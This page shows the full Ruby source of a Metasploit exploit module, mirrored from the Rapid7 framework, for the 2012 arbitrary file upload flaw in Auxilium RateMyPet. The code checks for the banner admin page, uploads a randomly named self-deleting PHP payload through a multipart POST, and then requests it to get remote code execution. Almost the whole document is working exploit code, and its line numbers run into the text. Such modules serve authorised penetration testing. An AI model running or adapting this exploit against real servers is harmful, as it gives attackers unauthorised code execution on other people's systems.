Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/auxilium_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE1011def initialize(info={})12super(update_info(info,13'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",14'Description' => %q{15This module exploits a vulnerability found in Auxilium RateMyPet's. The site16banner uploading feature can be abused to upload an arbitrary file to the web17server, which is accessible in the 'banner' directory, thus allowing remote code18execution.19},20'License' => MSF_LICENSE,21'Author' =>22[23'DaOne', # Vulnerability discovery24'sinn3r' # Metasploit25],26'References' =>27[28['OSVDB', '85554'],29['EDB', '21329']30],31'Payload' =>32{33'BadChars' => "\x00"34},35'Platform' => %w{ linux php },36'Targets' =>37[38[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],39[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]40],41'Privileged' => false,42'DisclosureDate' => '2012-09-14',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])48])49end505152def check53uri = target_uri.path54base = File.dirname("#{uri}.")5556res = send_request_raw({57'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")58})59if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/60return Exploit::CheckCode::Detected61else62return Exploit::CheckCode::Safe63end64end65666768def upload_exec(base, php_fname, p)69data = Rex::MIME::Message.new70data.add_part('http://', nil, nil, "form-data; name=\"burl\"")71data.add_part('', nil, nil, "form-data; name=\"alt\"")72data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")73data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")7475post_data = data.to_s7677print_status("Uploading payload (#{p.length.to_s} bytes)...")78res = send_request_cgi({79'method' => 'POST',80'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),81'ctype' => "multipart/form-data; boundary=#{data.bound}",82'data' => post_data,83})8485if not res86print_error("No response from host")87return88end8990print_status("Requesting '#{php_fname}'...")91res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})92if res and res.code == 40493print_error("Upload unsuccessful: #{res.code.to_s}")94return95end9697handler98end99100101def exploit102uri = normalize_uri(target_uri.path)103uri << '/' if uri[-1,1] != '/'104base = File.dirname("#{uri}.")105106php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"107108p = get_write_exec_payload(:unlink_self=>true)109110upload_exec(base, php_fname, p)111end112end113114115